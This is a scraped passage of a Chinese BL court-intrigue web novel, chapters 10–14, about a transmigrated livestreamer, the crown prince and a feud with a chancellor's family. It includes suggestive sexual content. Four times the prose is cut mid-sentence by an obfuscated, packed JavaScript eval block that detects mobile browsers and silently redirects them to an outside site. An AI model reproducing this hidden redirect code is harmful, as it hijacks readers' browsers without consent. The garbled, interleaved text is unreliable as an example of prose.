d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793634|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “臣也要去上朝。” 弹幕【他要去上朝?】 【太子的床不香吗?】 完了,一定是一宿没睡,脑子傻了! 顾念安一愣,冲着门外喊道:“来的是大御辇吗?还有一个人要坐。” 门外之人也是一愣,“禀殿下,是大御辇,两个人也能坐下。” 穆辞忧伸开双臂,示意太子殿下伺候穿衣,心道:“抢着伺候一国储君的人,多如牛毛。但被一国储君伺候的人,唯我一个!” 一件绯红色朝服抛向穆辞忧,正好盖在他头上。 “穆哥哥今日已年满二十三岁,能够生活自理。” 弹幕【哇靠!男人没一个好东西,提上裤子就不认人。】 穆辞忧赞同弹幕,一边穿衣服,一边在心里骂三字经:XXX。 顾念安斜睨着穆辞忧穿衣,眼底晕着两团乌青。 穆辞忧嘟起嘴,眉毛皱成一团,满脸不悦。 怎么能一个人生闷气呢! 当自己不开心时,就要让别人也不开心! 穆辞忧开启今日的作死大业,把心里的话全骂出来: “XXX!若是哪个女人给你当太子妃,可是倒了八辈子的血霉。你人长得又帅,那玩意儿又大,她白天和嫔妃争风吃醋,晚上又被你生吞活剥,绝对年纪轻轻就被你这匹种马弄死,撒手人寰。” 顾念安挑眉:“你夸孤的方式很特别。” …… 早朝,金銮殿内。 “落花风流”的余香尚存。 周墨煜乌纱帽上的花换成了一朵茉莉,满朝文武大臣中,属他最香。 群臣回首,见太子和穆统领姗姗来迟,两人皆是一瘸一拐走进金銮殿。 大臣们昨日就听说内务府总管下狱了,虽不知什么原因。但今日见到这二位,一目了然,定是内务府害得他们腿部受伤。 上次早朝那位身着青袍‘见义勇为’的年轻大臣,目不转睛盯着穆辞忧,拿着笏板的手略有颤动。 徐海兴和周墨煜二人昨日便收到太子传来的消息,得知穆少保又替太子挡毒了,近两日暂免三孤授课。眼下见穆少保此状,寻思是何等厉害的毒药。 皇帝遥望进殿二人,不由得脸泛潮红,幸而有旒冕遮脸,与脑中闪现出的人影对话:“老穆,汝儿的走路之姿,彰显吾儿勇猛啊!汝当年如何对待朕,如今,吾儿皆替朕报仇了。实乃父债子偿!哈哈哈,美哉!美哉!晚儿不愧是朕最器重的皇子!” 江丞相捋了捋胡子,眼睛眯起,率先开口道:“穆辞忧身受重伤,自己都无法保全,怎能胜任御林军副统领?” 穆辞忧料想前日中春毒,大概有江丞相的一份功劳,在自己临死前,定要铲除了江家这个祸根!让江老头知道来自二十二世纪三好青年的厉害! “江丞相,谁告诉你我现在任副统领了?陛下都没说话,你说啥?不分尊卑的死老头!” 11. 蛊惑 “江丞相,谁告诉你我现在任副统领了?陛下都没说话,你说啥?不分尊卑的死老头!” 一句死老头,差点把江丞相气得真成了死的老头。 他这些年听惯了别人的奉承,“您德高望重”、“您泰山北斗”、“您年高德勋”。第一次被这么辱骂,江丞相忿然作色,怀恨不已。 “你、你、你!”江丞相指着穆辞忧道。 “我什么我,满脸皱皮的结巴!身着紫袍,活脱一个茄子干。我炒地三鲜都嫌你老,宁可只放土豆和青椒改为地二鲜,也不放你入菜。” 穆辞忧一说,朝堂上,有的大臣憋笑憋得脸已经青了;“噗~”有些大臣竟然没憋住笑;周墨煜直接咬住自己的下唇不敢出声。 弹幕【我说买的蔬菜干里怎么没有茄子干呢,因为难吃啊】 【穆辞忧的的嘴好损啊,不过我喜欢。】 【主播继续骂,我把台词记到小本上。】 江丞相不和穆辞忧胡搅难缠,转而望着高台中龙椅上之人。 “陛下,穆辞忧他目无尊长,戏弄朝堂。” 皇帝那头没发言。 江丞相的站位离皇帝最近,能透过旒冕看清皇帝的表情。 一抬头,对上皇帝的脸,皇帝他也在憋笑,憋得面红耳赤! “陛下!!!” 金銮殿内,只有三个人的表情最为平静。 一位是太子,天天听穆辞忧的俏皮话,已然习惯,坐于一旁,隔岸观火,不敢轻举妄动。 另一位是徐海兴,他那张脸好像被冰冻了,不知他是如何能始终保持同一表情。 最后一位是穆辞忧,他咬着后槽牙,摇着头,故作深沉。 “你抢在圣上前头说话,分明是你先目无尊长。陛下深仁厚泽,懒得搭理你,你还非逼着陛下说。首先,满朝堂上你年纪最大,不是老头是什么?其次,你年纪最大,是不是应该最先死!” 江丞相气得按着那颗老心脏,口鼻猛力捣气。 皇帝抬起手,摆了两下,示意穆辞忧息事宁人。 可穆辞忧作死的劲儿一上来,谁都拦不住。 “茄子干,我若是你,到了此高龄,早在家含饴弄孙,腾出官位,给后辈让路了。如今考科举艰辛,学子寒窗苦读十多年,好不容易入仕了,还被你们这群老头儿站着高官的坑,难以上升。” 弹幕【说的不就是我吗?辛辛苦苦熬到研究生毕业,然后在家待业。】 【呜呜呜,我也是,穆少保好懂我!】 【我工作了也受到职场霸凌,前辈们都欺负我。】 这一句话,引起了后排那些青色、绿色朝服的共鸣! 他们之间你瞅我,我看你,面面相觑,互相达成一致。 “陛下,臣有本要奏,先谈国事,小小称呼何须浪费宝贵时间。” “陛下,臣也有本要奏……”“臣也是……” 这一闹,穆辞忧【声望70万】 系统【应该提前安排你上朝,出场才四句话,拉拢半个朝廷的人心】 “你先奏。”皇帝随便点了一位大臣说道。他有意揭过此事,穆辞忧舍不得动,而江炎霆动不得,双方闹得太僵,会造成局面难控。 江丞相怎能留得穆辞忧在朝,此庶子后患无穷。 这个老头儿竟然不依不饶,“陛下,穆辞忧他蛊惑人心,这朝堂之上,不可有此等小人作祟。” 皇帝耐着性子,劝道:“朕不知穆少保是如何蛊惑人心,他无非是顶撞了丞相几句,江丞相大人不记小人过,何必和一个后生一般见识。” 江丞相白眉一横,摘掉乌纱帽:“穆辞忧戏谑朝臣,若您执意包庇此人,臣要冒死进谏。”说着,朝着蟠龙金柱奔去。 皇帝忙道:“拦住他。” 在场的侍卫和官员有几位要冲上来,想要拦住江丞相,却被穆辞忧和徐海兴等人强行制止住。 一瞬之间,朝堂乱成一锅粥。 这只老狐狸知道遇到厉害的猎人了! 老头年纪大了,跑得慢,连呼带喘到了金柱前,脑袋一磕,劲儿不够,都没流血。 老头儿又磕,还是没流血。 老头再磕…… 皇帝看着老鸡啄米,看烦了,“江丞相那边先撞着,朕和众卿家继续上朝。” 江丞相听出了皇帝的态度,这位景熙帝是要卸磨杀驴:当年若没有老朽助他上位,他能坐在这张龙椅上。 老头一时急火攻心,站都站不稳,更别说撞头了。 弹幕【急死我了,我都想按着老头儿的脑袋磕】 【穆辞忧快去按住茄子干的脑袋磕,我等不及了!】 穆辞忧正要走过去,欲助江丞相一臂之力。 却见周墨煜捡起江丞相的乌纱帽,快步上前。 这东宫三孤关系匪浅,谁也不好意思驳了周少傅的面子,自然无人阻拦。 周墨煜扶住江丞相,将乌纱帽带在他头上,眨了一只眼,劝道:“国丈,您是否旧疾发作,臣带您去找御医。” “国丈”二字一出口,众人都消停了。 对江家势力暗示,假如江丞相下台了,还是皇亲国戚,权力地位无法撼动,江家不会轻易倒台,勿要操之过急。 对反江家的人暗示,这老头儿早晚要下台,你们先消停消停,人家下台了也是国丈,打狗还得看主人呢,勿要操之过急。 周墨煜扶着江丞相走出金銮殿,茉莉香味渐渐淡化,但这一处闹剧还未结束…… 站在群臣之中的周太傅已经汗流浃背,湿透了朝服,生怕儿子得罪哪位神仙。 穆辞忧则泛起了疑虑:“周墨煜这小子如此八面玲珑,确有灵心慧性,但他阵营摇摆不定、首鼠两端。”转念一想:“我在临死前,一定要把他拉拢过来,让他只对顾念安一人忠心。 “穆少保,朕已批准你延迟上任一个月,你怎又来上朝?可有何事?”皇帝说完,瞥了太子一眼。 太子顾念安也不知为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793635|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何穆辞忧突然改了主意,冲着皇帝摇摇头。 穆辞忧道:“今日臣是见习上朝,提前适应适应环境,熟悉熟悉同僚,无事上奏。” 徐海兴嚷嚷道:“穆少保兢兢业业,带伤上朝见习,乃我辈楷模。” 群臣叽叽喳喳,在下面也跟着夸奖起穆辞忧,“楷模”、“栋梁”…… 一瞬间【穆辞忧的声望值涨到100万。】 皇帝下意识摸了一下腰间的玉佩,从龙椅上站起,指着穆辞忧:“是朕疏忽,穆少保腿脚不便,快给赐座。” 穆辞忧立马投给顾念安一个眼神。 顾念安顿然一惊,紧着站起来,“父皇这大殿上哪有给臣子赐座的道理,他做哪个位置合适?父皇不可乱了规矩。” 穆辞忧心说:“顾念安果然是我的好队友。” 继而“扑通”一跪,“承蒙殿下厚爱,罪臣方才顶撞江丞相,又违抗圣旨,未阻拦江丞相头撞金柱,请陛下处罚。” 徐海兴吓得腿哆嗦,思忖着要不要也跪下请罪。 但听皇帝说道:“江丞相劳苦功高,又是朕的恩师和国丈,哪受得住你此等诋毁?你今日此举确实忤逆犯上,以后在朝为官,收了你在北境那桀骜不驯的性子。仅此一次,下不为例吧。” 穆辞忧凛然而说:“臣犯颜直谏的原因有三,其一,同在朝为官,江丞相直呼臣名,此为蔑视下臣。其二,圣上未开口,江丞相抢先发言,此为目无君上。其三,臣身体不适,乃是贼人所害,江丞相不分青红皂白,诬谤臣不能担任副统领,有意牵引话题,近似指鹿为马之举,试图误导陛下的看法,此为蒙蔽圣听。” 说到最后,皇帝瘫坐在龙椅上深思,手掌紧紧攥着龙椅扶手上的龙头。 朝堂上熙熙攘攘,议论纷纷: “细细想来,江丞相发言偶尔确有混淆视听之嫌。” “对,上次我的思路就是这般被江丞相带偏了。” “穆辞忧不是北境军中以战功闻名吗?怎的思路如此清晰,口齿这般伶俐。” 这一番叙述,令在场诸臣对穆辞忧刮目相看。 弹幕【妈呀,主播还挺像那么回事】 【穆辞忧今日早朝比上一次更出风头。】 【牛X啦,实习生扳倒总经理!】 唯有顾念安,神色波澜不惊。对于穆辞忧今日朝堂的表现,仿佛在顾念安的意料之中。 穆辞忧又道:“臣没有江丞相的权势,唯有一条贱命,臣宁死也不能让江丞相这老贼继续蒙蔽圣上。” 猛然起身一冲! “穆……”顾念安仓皇跑过去,不见往日的稳重,但他膝盖有碍,没能及时阻止。 “嘭!” 穆辞忧血溅蟠龙金柱,速度飞快,无人能拦。 弹幕【他个瘸子都能跑这么快】 【这次轮到穆辞忧头撞金柱】 【冒死直谏,主播学现卖啊!】 【发射“万里炮”,心疼穆辞忧的头。】 12. 男宠 这日早朝,随着穆辞忧血溅金柱,而落下帷幕。 皇帝一拂手。 宦官收到命令,喊了声“退朝”。 众臣皆面色惨白,相顾无言,默然散去。 太子的寝殿里。 顾念安心急如焚,来回踱步。 “魏御医,若穆少保有任何闪失,孤拿你陪葬!”顾念安目光在他脖颈处一顿。 魏御医身形佝偻,额头布满汗珠,用微微颤抖的手,正在包扎穆辞忧的头:“微…微臣…当竭尽…全力……” 包扎好后,又道:“殿下,穆少保撞伤的位置是在头顶偏左侧,头骨凹进去一块,失血过多,虽脱离生命危险,但要昏迷几日。” 穆辞忧昏迷中,系统出现【008,你咋又晕了,能不能消停会儿啊,外面有一群人要穿书,老阎很忙!】 穆辞忧:“老阎,给我开个挂,我要扳倒仇敌。” 系统【对不起,目前未开通任何金手指功能。】 穆辞忧损道:“我要你这系统何用?!” 系统【你可以求助于顾念安啊,他从小学习帝王之术,少年老成,足智多谋,运筹帷幄多年……】 穆辞忧打断:“停!停!你说那小子?要不是我出现,他都不知道死了多少回。” 系统【他那是养精蓄锐,厚积薄发,徐徐图之,未来的明君,怎么可能是个傻白甜。】 穆辞忧:“我哪有时间跟他徐徐图之,我等不及了。你快让我清醒,明儿我就把自己弄死!” 系统【扣掉200万积分兑换脑震荡治疗药,穆辞忧剩余积分-80万。】 穆辞忧问道:“怎么还负数了?” 系统【药贵啊,你直接开瓢,内伤外伤都有。如果你在书中不能补齐积分,回到现实世界后,也要按积分二倍的货币还给我。】 穆辞忧骂道:“我辛苦挣的120万积分就没了?你这和抢\劫有什么区别?你特么个黑心商家!” 系统【你自己作出来的,活该!】 穆辞忧:“好老阎,能不能打个折?” 系统【嘀嘀嘀……线路繁忙……】 “你醒了!来人,快去备膳……” 这话穆辞忧半年前听过,这次顾念安没哭,穆辞忧一时想不出训斥的台词。 闭目!重新想! “穆哥哥,你又晕了!” 穆辞忧能听得出这句有多么急切,就跟亲妈病死了一样的语气。 他来东宫整整一年了。 人心都是肉长的,同床共枕这一年,顾念安的情义,穆辞忧悉心洞明。 一双眼睛缓缓睁开,眸中映出顾念安焦急中透着喜悦的复杂表情。 “穆哥哥实乃身强体壮,头部受如此重伤,居然昏迷几个时辰就醒了!” 下血本买的药,必须立竿见影。这药200万积分,400万货币,160万负债呢! 穆辞忧苍白的嘴唇弯了弯,“臣这身子铜筋铁骨,撞个头,不碍事。明日就能上朝。” “孤不允你上朝!”顾念安眉头拧成结,耷拉着脸,一副忧心忡忡。 为何不允? 穆辞忧谋算着自己肯定撞不死,但能以此激怒江家,从而引来杀身之祸。 而顾念安则担忧江家党羽众多,弹劾报复穆辞忧,上朝易引祸上身。 两人沉默不语,倔强的眼神相互斗法,活活一对门神贴画。 对视了一刻钟,穆辞忧心软了,退了一步,“按陛下的原旨意,臣一月后再上朝。”干咽了一口,又道:“殿下,是祸躲不过,您按兵不动,不是良策。” 根据系统的说法,只要顾念安肯出手,扳倒江家不在话下。 顾念安用拇指和中指捏着两侧太阳穴,手掌正好遮住眼睛:“孤原先不动,因江家幕后是大皇兄,手足难断。儿时,他哄我,护我,不知现在为何迷了心窍。不过……” 他放下手,深深叹息一声:“哎……生辰那日,他们设宴先将你调离,江叶光买通了当日值守的御林守卫,放入一批刺客,绑走孤的宫人。长喜会些拳脚侥幸逃脱。内务府总管是江丞相的门生,那夜跑来的齐婕妤以前是宁妃陪嫁。这一切都在他们的算计之中。莫不是穆哥哥替孤挡了毒,孤会以破坏伦常的罪名被废黜。” 顾念安正说着,双拳越攥越紧,直到指节发白、青筋暴起,大拳头锤在腿上,厉色道:“他们、他们居然做出此腌臜手段,孤忍无可忍!” 穆辞忧抬起上臂,一挥手,斜着斩断空气: “快刀斩乱麻,先除掉江家,断了大皇子的利剑,手足可保。” 那只手没有落下,又攥成拳头,敲了敲自己的胸口: “殿下对臣恩重如山,臣愿做殿下的快刀,万死不辞。” 弹幕【什么恩?】 【当然是顾念安为了帮穆辞忧解毒,贡献了第一次。】 【哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793636|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈,好大的恩情啊!】 闻言,顾念安的眼圈泛红,猛地低下头去,贝齿死死咬住下唇,将涌至喉头的哽咽,硬生生咽了回去。生辰那夜,穆辞忧用身体帮他蜕变为一个真正的男人,男子汉怎可哭哭啼啼? 一年前的五月初三穆辞忧初入东宫,今日是他们相识一周年,亦是穆辞忧的生日,这等喜庆之日,绝不可哭! 顾念安本想下朝后,给穆辞忧庆生,找辆马车,拉着穆辞忧出去玩一玩,吃点宫里没有的新鲜食物,再买一些有趣的小玩意送给穆辞忧。 但被穆辞忧这一撞,打乱了计划。 “殿下,我饿了。”穆辞忧摸着咕咕叫的肚子,想起早膳都没吃。 “膳食马上送到,你且躺着,一会儿,孤喂你吃。” 伺候穆辞忧哪家强?顾念安能给他擦翔! …… 两日后的端午节,顾念安特意找了个北境厨子学习包粽子。 去年穆辞忧刚来,吃不惯京城的粽子,嫌粽子太咸、肉馅太腻。 他说北境的粽子清淡甜糯,还去小厨房给顾念安包了几个,那几个粽子是黑暗料理中唯一能下咽的食物。 顾念安亲手包的粽子,似一个宝物呈上穆辞忧眼前。 小巧的菱形块,剥开绿油油的芦苇叶,露出白嫩香软的糯米,糯米中夹杂了红豆和红枣。 穆辞忧嫌黏,懒得自己动手,借着顾念安的手,直接上嘴开吃。 “真甜!好吃!” 顾念安微微颔首,嘴角却忍不住向上抿起。 听闻女子破瓜后,应食红枣红豆。这男子破瓜后,顾念安也只好象征性准备了这小食,却不好意思明说。 穆辞忧两口吃完了一个粽子,剩下几粒糯米粘在顾念安手指上。 顾念安翘着嘴角,缓缓舔干净自己的手指,眼神还时不时的瞟向穆辞忧。 穆辞忧偏过头去,心说:“这小子无非是舔个手指,我怎会生出那日中春毒的感觉,非礼勿视,非礼勿视……” 尽管顾念安照护得无微不至,穆辞忧还是急于作死! 穆辞忧在床榻上养了不足半月,趁着顾念安去上朝,偷偷离开东宫,私会了江叶光。 “江郎将,许久不见,近来可好?” 正在巡逻的江叶光一怔,片刻后,咧起单侧嘴角,讥笑一声。 “呵呵~我当是谁呢?原来是太子床上的男宠,靠卖腚升官就是快!” 13. 囹圄 顾念安刚下朝,噩耗骤至:穆辞忧因杀人而身陷囹圄! 听闻,穆辞忧和江叶光发生争吵,而后双方大打出手。 江叶光拔出佩剑,砍伤了穆辞忧的左臂。 穆辞忧用一根树枝,从江叶光的口部刺入,插破喉咙,直穿头颅,一击毙命! 顾念安来不及回东宫,径直去了天牢。 那天牢牢门打开,一股阴风挟着腥秽之气扑面而来,顾念安捂住口鼻,低头走下台阶。 原本的青石板地面,隐隐透着暗红色,缝隙出钻出墨绿色的苔藓,石壁上面布满湿滑的水珠。 昏暗的天牢里,壁上虽悬着几盏油灯,却依然映得人鬼难分。 顾念安的脚步声,硕鼠窸窣声,铁链叮当声,还有穆辞忧的说话声。 穆辞忧正骂着关在隔壁的内务府总管:“替罪总管,你真是吃了猪油,蒙了心。怎么听那个江老头使唤,他都快死了,能保你几日,你宁死不招,我们也知道是那茄子干指使你干的。你个黑心的东西,你说句实话,兴许能活命,你死在这里,你家人怎么办?你特么的脑子进水了吗?是觉得那江老头会放你出去,还是那个陷害弟弟的大殿下会保护你家人?” 内务府总管不语,坐在墙角的草堆上,一双眸子早已失了神采,直勾勾望着布满铁锈的栏杆。 穆辞忧瞧见身穿一袭黄袍的少年走来,停了骂声:“殿下,此地脏污,莫沾染了您的贵体,您快回去。” 顾念安额上暴出青筋一下下地跳动,眼睛都布满了血丝,死死地盯着穆辞忧。 “孤不知道你为何天天请罪,为何日日作死,你就这么急着去投胎?” 一语破的! 穆辞忧好似没穿衣服一般,被看了个透彻! 他钳口结舌,不知所措,只好痴痴凝望着顾念安。 在这阴暗的天牢中,身着朝服的顾念安恍若救世神君下凡。 那身繁复的朝服,若在旁人身上,只怕显得臃赘。但穿在顾念安身上,却是说不出的合衬。既带着天家贵胄的雍容,又隐含着俊逸少年的朝气。 见这般风姿,穆辞忧不由屏住了呼吸,连眼都舍不得眨,目光如同最细腻的笔触,将眼前人的眉宇轮廓细细描摹。 欲将顾念安的音容相貌,乃至每一缕发丝,都分毫不差地烙在眼底,刻在心底。 牢头给顾念安打开了穆辞忧牢房的门。 “殿下,小心头。”穆辞忧忙道。 这扇牢门有点矮,顾念安要弯腰低头方能走入。 穆辞忧稍定心神,回复刚才的问题:“殿下,江叶光口出狂言在先,臣把他怼了回去,他说不过臣,就拔剑出手,臣也不是吃素的,一时冲动,失了手。” 顾念安嗔怒埋怨道:“他说什么你就左耳进右耳出,他都贬为郎将了,你给宁妃个面子,给父皇个面子,不行吗,孤都忍了十几年了,你就忍不了这一刻?” 以前一向是穆辞忧训斥顾念安,这次,反倒成了顾念安训斥穆辞忧了。 挨训后的穆辞忧心中委屈,随即脱口而出:“他辱骂我,我能忍,但他辱骂殿下,极其难听,我忍不了,殿下听了肯定也不能忍。” “他说什么了?怎么忍不了!”顾念安的眼底有怒意,亦有怜意。 穆辞忧微微张了张嘴,又闭上了,顿时面红耳赤,谛视着顾念安。 无庸赘述。 看着穆辞忧难以启齿的样子,顾念安了然于胸。 生辰那日,刺客为何要绑走宫人们,直接杀了不是更省事。 因为江家要撬开宫人们的口,从其中找到顾念安的弱点。 在东宫里,除了穆辞忧本人,只要宫人不是瞎子,都看得出这君臣二人的关系不正常。 一个睡在太子床上的少保,一个能使唤储君的臣子,任谁知道都会思忖揣测一番。 那江叶光空有一身蛮力,是粗人一个,说龙阳、断袖、分桃都算是好听的,指不定骂出什么荤词。 穆辞忧身上未带一件兵器,本意不想杀人,树枝为何从嘴捅入,因为他想让江叶光闭嘴! 顾念安一只手拽握上穆辞忧的胳膊道:“穆哥哥,你放心,孤一定让你出去。” 穆辞忧拿开顾念安的手,摇头道:“不必。” 又是扑通一跪,抱住顾念安的大腿,肃穆道:“一命换一命,臣死不足惜,但希望殿下能记住臣是为谁而死!现在就剩一个老茄子干了,很容易摘掉,请殿下为臣报仇,臣在九泉路上,死而无憾。” 穆辞忧觉得自己这样才叫做“死得其所”,既做掉了江叶光,又能逼得顾念安动手。 顾念安紧忙扶起穆辞忧,同时轻声道:“先救你,再报仇。” 穆辞忧再次摇头,长臂勾住顾念安脖子,把那人的头揽到自己肩膀,贴近耳朵,呼吸喷在耳垂上,说了一句话。 随后立刻推开顾念安,将他推搡出去,“快走,快走,我要歇息了。” 过牢门的时候,还用手挡了一下门框,生怕磕到太子殿下。 顾念安出了牢门,走在石阶上,回眸一顾。 正瞧见,穆辞忧羞臊潮红的脸紧贴着铁栏杆,向外张望,目送顾念安。 即将回到现实世界了,看一眼,少一眼! 只恨牢房的灯火太暗,顾念安的模样越来越不清晰。 直到顾念安的背影化作一个黄色的小点,消失不见…… 穆辞忧瘫坐在草堆上,看着弹幕 【刚才主播偷偷和顾念安说了啥?】 【我把声音调到最大也没听到】 【我看顾念安身形稍微一晃,喉结动了动。】 【看得真仔细,这牢里太黑,我啥都看不清。】 【你把屏幕调亮就好多了。】 【主播死了,这个直播就结束了吧】 “是的,很快结束直播。”穆辞忧说道。 牢头走到穆辞忧的牢房前:“你嘀咕啥呢?” 穆辞忧斜眈一眼牢头:“我疯了,说胡话呢,你甭管。” 顾念安临走时,给足了牢头好处费,牢头哪敢管这位穆爷。 弹幕【那后面的剧情怎么办?】 “后面什么剧情?”穆辞忧问道。 弹幕【顾念安登基后,穆辞忧会成为弄臣,献媚求宠、把持朝政、卖官鬻爵、僭越礼制】 “等等,啥叫弄臣?” 【这……】弹幕停了! “你们快说!” 弹幕空了…… 穆辞忧琢磨光个膀子就能收到“穿云箭”,索性拿出杀手锏:“说了我就跳脱衣舞。” 弹幕【弄臣是帝王狎昵的臣子】 【帝王所宠幸狎玩之臣】 穆辞忧如遭雷击,浑身一震! 弹幕【脱衣舞呢?】【脱衣舞呢?】 穆辞忧闷声道:“骗你们的,你们还真信?” 弹幕【骗子!】【大骗子!】 【大Pi~ian,Zi】 穆辞忧冷冷道:“你们不是也骗了我,趁我睡着了偷偷嘀咕。 上次一夜未眠,穆辞忧看了一宿弹幕,想明白一点:“我和顾念安的感情超过了兄弟友谊,或许我有龙阳之癖,也许只是‘念安之癖’” 今日江叶光说话虽糙,但并无虚言。 原来男子之间竟然是用那处表达爱意,纾解情潮。 穆辞忧回忆起那个靡丽的夜晚。 黑暗之中,他们看不见对方,但触觉却极其敏锐,一双修长的冰手,游走于灼热的皮肤上,试图帮穆辞忧降温。 然而不够,远远不够。 穆辞忧想被精壮紧实的肌肉包围,想被少年的青春气息注满,他扭着身子迎合,这其中有几分毒药的作用,也有几分真心情愿。 龙崽子他好像一只鬣狗那样啃咬,不肯放过每一寸血肉。而穆辞忧如同一匹饿狼那般索取,发出阵阵呜咽狼嚎。他们两人都化作了野兽,回归到犬类最原始的欲望。 穆辞忧嚎得嗓子喑哑,顾念安抵上额头,鼻尖相蹭,呼吸交缠,舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793637|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖缓缓探入唇缝,将露水渡入。 那露水的滋味,现在想来实在甘甜可口。 思及此,穆辞忧的小心脏忽而躁动不安,身下的血气冲上脑门,灼烧上脸颊。 在这天牢中,囚服完全遮不住他那颗狼子野心。 弹幕【主播是不是勃了?】 【穆辞忧思春呢?】 【天啊,他也太不分时间场合了吧!】 【他和顾念安都非常适合拍GV】 一念闪过!这个直播间有问题! 穆辞忧道:我问你们什么叫GV?什么叫CP?” 弹幕【……】 “说实话。” 弹幕【反正他也不跳舞,咱们不说!】【不说】【就不说!】 穆辞忧喊来系统:“老阎,你滚出来!” 系统【嘀嘀嘀……线路繁忙……】 穆辞忧:“你不出来,我回去就举报了你的直播间。” 系统【吡~我很忙,什么事】 穆辞忧:“什么叫GV?什么叫CP?” 系统【我不是告诉过你么。。】 穆辞忧:“你不说实话,我找相关部门投诉你们公司。” 系统【Gay Video,男同性恋影片】 【Couple,情侣关系】 【Character Pairing,人物配对】 穆辞忧脸上的颜色霎时褪去,眼睛瞪大,瞳孔却紧紧收缩,小声指责:“你们怎么能这么坑害小龙崽子?他是未来的国君,绝不可患上龙阳……” 弹幕【明明是你太勾人啊】 【你刚刚还抱人家大腿!】 【对啊,和我们没关系,是你自己要保护顾念安,爬到他床上】 【你闻不到他的味道就睡不着】 【你让顾念安狠狠压你】 【你还答应给顾念安‘品萧’】 【你还说要伺候得顾念安舒舒服服】 【你夸顾念安器大活好,想做太子妃】 【话是你说的,衣服是你脱的,液体是你流的】 【……】 穆辞忧用游丝之音,近乎默念:“不,我不是这意思,那次是为了解毒迫不得已!老铁们,我真的不是故意勾引那小子,你们听我解释……” 他生怕别人听见,说话声像苍蝇乱飞。粉丝们都调到了最大音量。 在过去的三百七十多天里,每天都在作死的穆辞忧,他自己都不知道无意中干了多少招惹顾念安的事。 “原来我是如此魅惑之人?!” 看着弹幕你一言我一语的指责,穆辞忧一件一件解释,说了两天两夜,愣是没说完。 穆辞忧摸着长出的胡子茬,正说到为什么要让太子帮忙小解时,太子就到了。 “穆哥哥,走。”顾念安拉上穆辞忧的手,牵着他走出天牢。 这两人暴露阳光下,穆辞忧突然想到江叶光所言,猛地甩开顾念安的手。 “殿下,男子之间不可拉拉扯扯,有损殿下声誉。” 回到东宫,见东宫正摆酒设宴。 这顿永别酒、断头饭,挺丰盛啊! “穆哥哥,来,坐孤身旁。” 穆辞忧闻到自己身上的馊臭味,不敢走近。 “殿下,臣要先沐浴更衣。” 顾念安忙道:“头部和肩膀伤口莫要沾水,孤帮你洗。” 穆辞忧连连摆手:“不必,不必,臣很快就洗完,殿下稍等片刻。” 洗白白,吃饱饱,走上断头台! 坐在浴桶里,穆辞忧望着视线右上角,半透明的三个字【主播0】,心头泛起疑惑。 【声望】值在涨,【行囊】也多了物品,【积分-75万】 唯独“主播”两个字后面的“0”,它不动。 难道这个0字,不是人气的意思?系统没有出BUG? 穆辞忧又喊来系统:“老阎,老阎,主播0的‘0’是什么意思?这个数为啥不动?” 14. 侍寝 穆辞忧又喊来系统:“老阎,主播0的0是什么意思?这个数为啥不动?” 系统【来啦,008,大胸嘚,这个0就是0的意思。】 穆辞忧没好气儿,反诘:“听你一席话,胜似一席话,糊弄你谁呢?” 系统【嘀嘀嘀……线路繁忙……】 穆辞忧掰着手指说道:“我想想投诉的相关部门有哪些啊?” 系统【在男同性恋中,担任主动或攻击的一方叫做1号,担任被动或接受的一方叫做0号】 穆辞忧双手从身侧垂下,好似认命般,瞬间泄气了,但仍想再确认一次: “怎么个攻击法儿?是为我解毒那样吗?怎么个接受法儿?是我那样被入吗?所以我从开始的定位就是0号,对吗?你们让我直播就是让我做0,对吗?” 系统【嘿,你好聪明呢!一点就透!】 穆辞忧呐喊:“这特么是正经的权谋文吗?你特么是正经的直播间吗?不封你封谁!?” 系统【瞎说,我们很正经,像你平时洗澡这种,我都给你的重点部位打码,要不是那夜你做得太过分,也不会出问题!再说你也收到积分了啊】 穆辞忧骂道:“积分呢?我直播的积分不都被你个黑心商家骗走了吗?” 穿个书,还欠了150万的负债,这时候回到现实世界,就算把父母遗留的老破小卖了都还不上。 富贵险中求。 穆辞忧决定破釜沉舟,背水一战。 穆辞忧:“老阎,如果我再做一次那夜的事,是不是还能收到一百万积分?” 系统【你还有尊严吗?有廉耻吗?有道德吗?】 